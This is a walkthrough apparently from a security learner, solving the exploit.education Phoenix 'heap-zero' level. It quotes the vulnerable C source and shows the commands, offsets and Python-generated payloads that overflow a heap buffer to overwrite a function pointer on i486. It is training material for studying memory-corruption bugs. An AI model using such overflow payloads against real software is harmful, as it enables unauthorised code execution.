The description and source code can be found here:
http://exploit.education/phoenix/heap-zero/
This is the first of the heap exploitation levels. We can see what’s going on just by looking at the source for the main() function:
int main(int argc, char **argv) { struct data *d; struct fp *f; printf("%s\n", BANNER); if (argc < 2) { printf("Please specify an argument to copy :-)\n"); exit(1); } d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; strcpy(d->name, argv[1]); printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp); fflush(stdout); f->fp(); return 0; }
Two pointers are declared right next to each other, *d and *f. Memory is allocated for them on the heap using malloc(). *f is set to point to the nowinner() function. Data is copied from the first command line argument to the *d pointer. A handy little message is displayed about the addresses these pointers have and the address that will be called. Finally, the address the *f pointer holds is called. It looks like this’ll be a simple buffer overflow exploit.
First, I’ll check the address of the winner() function to see what I need to set the *f pointer to. Of course, I’ll try this in the amd64 architecture first:
$ nm /opt/phoenix/amd64/heap-zero | grep winner 0000000000400ace T nowinner 0000000000400abd T winner
And right away I see a problem. I’ll need to put the address 0x400abd into the *f pointer. However, 0x0a is a newline character. The strcpy() function will see that, strip it, ignore anything after it, and terminate the string with a null byte. I’ll try it. First, I’ll run the program with any ‘ol input to see the addresses & calculate how much to overflow the buffer with:
$ cd /opt/phoenix/amd64/ $ ./heap-zero hello Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace level has not been passed - function pointer has not been overwritten $ python -c 'print (0x60 - 0x10)' 80
I’ll need to input 80 junk bytes before getting to the *f pointer, which holds the address of the function to be called.
$ ./heap-zero $(python -c 'print "A"*80 + "\xbd\x0a\40"') Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x4000bd Segmentation fault
As you can see, we ended up with 0x4000bd instead of the expected 0x400abd. I can probably get around this by putting some shellcode in the buffer that jumps to the right location, and I’ll probably come back to this and do that later. But for now, I’ll stick to the x86 architecture for the Heap levels.
$ cd /opt/phoenix/i486 $ ./heap-zero hello Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e level has not been passed - function pointer has not been overwritten $ python -c 'print (0x50 - 0x8)' 72 $ nm heap-zero | grep winner 0804884e T nowinner 08048835 T winner $ ./heap-zero $(python -c 'print "A"*72 + "\x35\x88\x04\x08"') Welcome to phoenix/heap-zero, brought to you by https://exploit.education data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835 Congratulations, you have passed this level